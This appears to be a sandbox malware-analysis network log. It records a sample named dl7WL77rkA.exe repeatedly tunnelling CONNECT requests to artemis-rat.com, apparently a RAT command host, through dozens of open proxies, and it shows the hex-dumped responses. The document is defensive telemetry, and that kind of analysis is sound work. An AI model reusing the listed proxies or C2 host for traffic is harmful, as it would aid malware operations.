Mar 11, 2024 03:30:38.631155968 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.968003035 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Mar 11, 2024 03:30:38.968111038 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.2 Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
257	192.168.2.5	50189	142.54.239.1	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.640146971 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
258	192.168.2.5	50679	104.20.56.71	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.640221119 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.794991016 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
259	192.168.2.5	49960	51.79.87.144	30464	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.643939972 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.701899052 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.811343908 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.852349997 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:02.904412031 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
260	192.168.2.5	50597	114.129.2.82	8081	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.645248890 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.908647060 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
261	192.168.2.5	50689	185.162.228.48	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.646662951 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.801178932 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
262	192.168.2.5	50566	47.93.114.68	88	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.659403086 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.975790024 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
263	192.168.2.5	50654	12.186.205.120	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.664233923 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.855669022 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.1 Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
264	192.168.2.5	50684	128.199.5.65	8888	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.664237022 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.843276024 CET	270	IN	HTTP/1.1 500 Internal Privoxy Error Content-Length: 775 Content-Type: text/html Cache-Control: no-cache Date: Mon, 11 Mar 2024 02:30:43 GMT Last-Modified: Mon, 11 Mar 2024 02:30:43 GMT Expires: Sat, 17 Jun 2000 12:00:00 GMT Pragma: no-cache Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
265	192.168.2.5	50533	103.118.46.176	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.671560049 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.023422956 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
266	192.168.2.5	50743	104.16.213.202	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.687825918 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.842058897 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
267	192.168.2.5	50568	103.164.112.123	10001	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.689908981 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.506521940 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
268	192.168.2.5	50587	84.39.112.144	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.689938068 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.001635075 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.2 Date: Mon, 11 Mar 2024 02:29:56 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
269	192.168.2.5	49994	51.210.127.15	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.700489044 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.011934996 CET	805	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 02:30:38 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 613 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 5b 6e 6f 20 61 64 64 72 65 73 73 20 67 69 76 65 6e 5d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at [no address given] to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at artemis-rat.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
270	192.168.2.5	50676	38.162.17.162	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.700908899 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.149676085 CET	111	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="" Data Raw: 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 Data Ascii: Proxy Authentication Required

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
271	192.168.2.5	50764	172.67.231.3	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.701327085 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
